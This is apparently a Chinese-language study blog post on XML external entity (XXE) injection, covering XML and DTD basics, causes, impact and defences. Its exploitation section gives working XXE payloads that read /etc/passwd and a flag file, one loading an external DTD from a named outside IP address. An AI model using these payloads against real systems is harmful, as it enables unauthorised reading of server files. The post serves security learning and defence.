XML外部实体注入

XML基础

相比于HTML的展示性语言,XML是和JSON是同一类,XML可以用于传输大量的数据,json大量数据的定义不如XML

通过自定义标签对数据进行组织

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?> #<!--XML 声明-->
<girls>
<girl>
<hair>短头发</hair>
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary age="23">我最爱的女孩</summary>
</girl>
</girls>

语法规则

  1. 所有 XML 元素都须有关闭标签。
  2. XML 标签对大小写敏感。
  3. XML 必须正确地嵌套。
  4. XML 文档必须有根元素。
  5. XML 的属性值须加引号。

DTD 文件,我觉得可以理解为头文件

DTD(文档类型定义)是一种用于定义 XML 文档结构和元素约束的方法。它可以描述一个 XML 文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个 XML 文档所共享。
DTD 可在内部声明,也可作为一个外部引用。

内部DTD声明

在 XML 中,可以将 DTD 声明嵌入到 XML 文档中,这被称为“内部 DTD 声明”。
内部 DTD 声明位于 XML 文档的开头,使用元素进行声明。

外部DTD声明

在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。
外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。

DTD实体

在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。

在 DTD 中,有两种类型的实体:内部实体和外部实体。

漏洞成因

利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。

漏洞出现位置

  1. 在http 报文中如果出现了

    xml就可以考虑是否存在该漏洞

  2. 进行漏洞测试的时候可以尝试使用带外测试,也就时访问某一个dnslog 如果发现被解析了说明存在

漏洞危害

  1. 读取文件
  2. rce
  3. 端口探测

但是rce 和端口探测都很少了,利用的条件也比较苛刻

漏洞利用

构造外部实体声明

  1. 直接通过DTD外部实体声明

    1
    2
    3
    <?xml version="1.0" encoding="ISO-8859-1"?> 
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <user><username>&xxe;</username><password>1234</password></user>

    直接在http 包中指明

    1
    2
    3
    4
    5
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag">
    ]>
    <user><username>&test;</username><password>123</password></user>

  2. 通过DTD文档引入外部DTD文档,再引入外部实体

    1
    2
    3
    <?xml version="1.0"?>
    <!DOCTYPE a SYSTEM "http://120.27.61.239/evil.dtd">
    <user><username>&xxe;</username><password>1234</password></user>

    evil.dtd

    1
    <!ENTITY xxe SYSTEM "file:///etc/passwd">

防御方法

  1. 禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。
  2. 使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁用了外部实体引用。
  3. 过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解
    析。

ctf 例子

面试


XML外部实体注入
https://tsy244.github.io/2024/05/10/web/XML外部实体注入/
Author
August Rosenberg
Posted on
May 10, 2024
Licensed under